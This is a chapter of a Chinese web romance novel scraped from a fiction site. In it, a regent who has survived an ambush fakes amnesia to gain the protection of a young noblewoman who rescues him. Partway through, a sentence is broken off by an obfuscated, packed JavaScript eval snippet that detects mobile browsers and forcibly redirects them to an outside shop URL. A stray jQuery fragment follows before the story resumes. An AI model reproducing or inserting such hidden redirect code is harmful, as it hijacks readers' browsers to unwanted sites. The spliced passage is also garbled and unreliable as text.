文趣网 > 其他小说 > 捡来的美人他以下犯上 > 2. 背叛
    徐冉背叛了他。

    这是夏侯衍跳崖逃生的瞬间方才肯定的结论。

    此次江南之行,加上夏侯衍也才只有四人知晓,而方厉和方云两兄弟不会背叛他。

    那就只有徐冉了。

    徐冉是夏侯衍的亲信之一,十年间颇得夏侯衍器重,一路从边关守将到金吾卫大将军,期间少不了夏侯衍从中提拔。

    而这次江南暗访,安排路线之人恰好便是徐冉。

    行踪泄露、太后埋伏、一路追杀,这一桩桩,一件件必然与他脱不开关系。

    至此,夏侯衍不得不确信,徐冉早已转投太后萧氏。

    脑海中所想转瞬即逝,夏侯衍不过片刻便将思绪收拢,转而注意当下处境。

    落崖的速度很快,好在崖壁间长有不少崖树,夏侯衍借机施展轻功,卸力不少。

    却不想他今日运道不佳,下一脚落下的瞬间崖树应声而裂,从中断成两截。

    夏侯衍当即失了平衡,不受控地直直向下冲去,眨眼间便落入茂密的丛林间,在浓绿树丛里滚了一遭,就连发带都不慎勾落。

    冲击太大,在落地的瞬间,即使内力深厚如夏侯衍,也还是顷刻间晕了过去。

    晕过去之前,他隐约听见了马蹄声。

    还伴随着一道少女的声音,懒懒的,像刚睡醒:

    “绿芽,何故停车?”

    然后便没了意识。

    -

    不知过了多久,夏侯衍的意识渐渐回笼,迷糊间却感觉有什么东西正游走在他胸间。

    一会儿捏,一会儿按。

    力道不重,却令他有些说不出来的焦躁。

    夏侯衍不喜这种失去掌控的感觉,可眼皮却重若千斤,任凭他如何挣扎却还是睁不开。

    更要命得是。

    他感觉那东西好似要有往下游走的趋势。

    夏侯衍心中顿时警铃大作。

    此时此刻,夏侯衍迫切地想要拿回身体的掌控权。

    意识与身体不断拉扯着,要醒过来的念头渐渐占据上风。

    终于,他冲开了那层桎梏,于森森黑雾中窥见了一丝光明。

    睁开眼的一瞬间,夏侯衍有瞬息的茫然,转瞬便又回想起了之前发生的一切。

    几日前,他们一行十数人将将踏入江南地界,便遭遇了接二连三的埋伏与追杀。

    随后一路辗转、躲避,亲卫拼死相护,十不存一,最后只剩他一人活着走到苏州城郊外的这处悬崖。

    在跳崖逃生前,夏侯衍发出了身上最后一枚求救的烟火令,但他不确定苏州城内是否有接应人员。

    亦或是……陷阱。

    想到这里,夏侯衍心中戾气顿生,当即便要起身离开。

    将要动身的刹那,他发现了周遭环境的不对劲。

    夏侯衍猛地抬眸朝上望去。

    循着面前那片杏色,往上,不过须臾,他便对上了一双清澈、干净的杏眸。

    看见这双眼睛的一瞬间,夏侯衍想起了他年少时,那只从他手中逃走的幼鹿。

    她们的眼神,如出一辙的清澈、纯粹。

    同时又有着独属于自己的存身之术,懂得如何更好地保护自己。

    可惜,他亦不是个会放弃自己猎物的人。

    后来,夏侯衍逐渐掌握了猎鹿的要领。

    对付这类从不主动伤人的动物,务必要确保自己看上去没有任何“危险”。

    让它们放松警惕。

    然后在最合适的时机,抓住它。

    所以,在她准备置之不理时,他谎称自己……失忆了。

    他相信,善良的“小鹿”会救他的。

    然后带着他,躲过这场追杀。

    -

    “我……我好像不记得自己是谁了?”

    呢喃间,男子的嗓音透着沙哑,带着茫然。

    半晌,他放下那只掩在面上的手,抬起头,那双勾人凤眸重又看向对面的少女。

    眼中隐隐闪过一丝期待。

    “姑娘,”他轻声问:“你……认识我吗?”

    男人话音落下后,沈云汐站在原地半晌未动,神情仿若雷劈。

    她愣愣地看着眼前这个貌似失去了记忆的男人,心道她可真是给自己惹了个大麻烦。

    鬼知道他是真失忆还是假失忆?

    她看起来就那么像地主家的傻闺女吗?

    来到大雍朝的这些年,沈云汐时刻谨记着,做一条咸鱼最重要的就是:

    不要主动招惹麻烦。

    在她十八年的咸鱼生涯里,她从不多管闲事,只安安静静地生活在她自己的小圈子里。

    按照常理,她与他萍水相逢,此时只需给他点银子,让他自寻生路。

    那已是极大的恩惠。

    但看着他那双澄澈透亮、纯净无邪的眼眸,想起方才他眼中那抹隐隐的期待。

    沈云汐无论如何也说不出“不认识”的话,做不出“给他点银子让他离开”的事。

    “姑娘。”

    男人清朗温润的声音突然拂过沈云汐的耳畔,打断了她不知飞向何处的思绪。

    沈云汐骤然见身旁有人,且二人身形贴得极近,还差一点点儿,他们便要衣衫碰上衣衫、小臂擦过小臂。

    一时间,沈云汐靠近男人那边的身子有些控制不住地僵硬起来。

    她悄悄放缓了呼吸,暗道:

    他是何时走过来的?

    她怎么一点儿感觉都没有?

    随即,沈云汐下意识地、悄悄地向右边移了一小步。

    她自以为隐蔽的动作,却被不动声色观察着她的男人,看得一清二楚。

    夏侯衍见此眼眸微眯,心中闪过一丝不喜。不过转瞬,便又恢复成那副人畜无害的模样。

    他微侧眸,看向身量同他肩膀一般高的少女,嘴角不经意间露出一抹无奈、低落的苦笑。

    他开口:“姑娘,我知自己没了记忆,对姑娘来说,我是个天大的麻烦。”

    “姑娘人美心善,我……不想给姑娘增添麻烦。”

    说完后,男人顿了片刻,似乎有些犹豫,又有些害羞,却还是红着脸咬牙说了接下来一番话。

    “可否请姑娘借我一点银钱,让我过渡一番,待我去城中谋个营生赚了银钱,便将这钱连本带利的还给姑娘。”

    男人神情羞涩,双颊泛红,但态度却十分诚恳且字字真切。

    沈云汐要说完全不动容,那是假的。

    更何况……

    沈云汐悄悄向身旁的男人投去一眼,微抿唇,在心中默默谴责自己看脸的“恶习”。

    哎!果真是男色误人。

    老祖宗诚不欺我。

    沈云汐闭上眼,深深地吸了一口气,心想:救就救了吧,反正沈府不差他一口饭吃。

    “你……先上车吧。”

    马车重新上路。

    沈云汐倚靠在车壁上,闭着眼,但脑海里却思绪翻涌,全是男人那张好看得过分的脸。

    以及

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17720788|208634||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ,他到底知不知道,她之前趁他昏迷,摸了他。

    踏上马车后,沈云汐方才感受到自己的手心微微有些发烫,有些濡湿。

    她趁对方不注意,悄悄将手缩进衣袖里,让衣衫内的布料带走那层黏腻的、薄薄的汗粒。

    只是再如何擦拭,手心中似乎都还残留着她抚摸男人胸膛时的温度和触感。

    说实话,倒不是她胆子小,没接触过什么男人,怪只怪她马车里坐着的男人存在感实在太强。

    即使她马车内的空间很大,装八九个人都绰绰有余,但她就是觉得这里莫名的很挤。

    让她有些透不过气。

    还有他那身衣服,颜色太红。

    十八年来,沈云汐什么颜色、类型的衣裳都试过、穿过,唯独红色类的衣服,她很少穿。

    原因很简单。

    她觉得那太张扬,一点都不低调。

    不过,穿在他身上倒是意外的好看、合身,仿佛他天生就该这么高调。

    可明明,他看起来又那么柔弱。

    沈云汐隐隐觉得,她带回去的这个男人,有种莫名的矛盾。

    沈云汐脑海里的天马行空,夏侯衍不知道。

    此刻,他曲着一条腿,安静地坐在车内一角,那双眼却是漫不经心地扫过马车内的装饰。

    脑海中慢慢搜索着苏州城内达官贵人、富商巨贾的资料。

    心中有数后,夏侯衍将视线移到少女身上,她穿着杏色的衣裙,倒是意外得很衬她。

    随即,夏侯衍的眼神又落在沈云汐的面上,她虽然闭着眼睛,但他知道:

    她没睡着。

    或许是有些无聊,又或许是些什么别的原因。

    夏侯衍很想要逗一逗她,看她紧张的模样。

    马车里,他突然开口:“姑娘,刚才……”

    寂静、狭小的空间内,突然响起一道颇为陌生的男声,沈云汐还是没能适应,她的马车里多了另一个人。

    就好像她的私人领地正在被外人入侵,却无法驱逐。

    但沈云汐心里还装着事,没空搭理他,也不愿多想,便随意问道:“刚才怎么了?”

    “刚才,我昏迷的时候,姑娘是不是……”

    他顿了顿,又摇摇头,声音低了下去:“没什么,可能……是我感觉错了。”

    他刚才有意识?

    他知道她摸了他!

    男人话音落下的一瞬间,沈云汐心跳如擂鼓,就连脸颊都“腾”地一下红了起来。

    沈云汐心虚不已,她不敢让他看见,便稍稍偏转头颅,装作很困的样子打了个哈欠。

    故作镇定地应了一声:“哦。”

    说完后,少女便陷入了长久的沉默,未再给男人半分回应。

    这个反应,倒是出乎了夏侯衍的预料。他以为,她会紧张、会害羞,甚至会反过来追问下去。

    但意外得是。

    她却完全不接招。

    这感觉让夏侯衍面色有些不悦,自他摄政朝堂后,还从未有人敢这么无视他的话。

    夏侯衍盯着少女微微颤动的羽睫,无声地勾了勾唇角,眼中闪过一丝恶劣的笑意。

    装睡?

    我倒要看看,你能装到几时。

    仗着沈云汐看不见,夏侯衍放轻动作,悄悄将身子向少女那边凑近,红润的薄唇缓慢移到她耳畔附近。

    灼热的气息顺着男人故意压低的哑音传进沈云汐耳中:

    “姑娘,你耳朵好红啊。”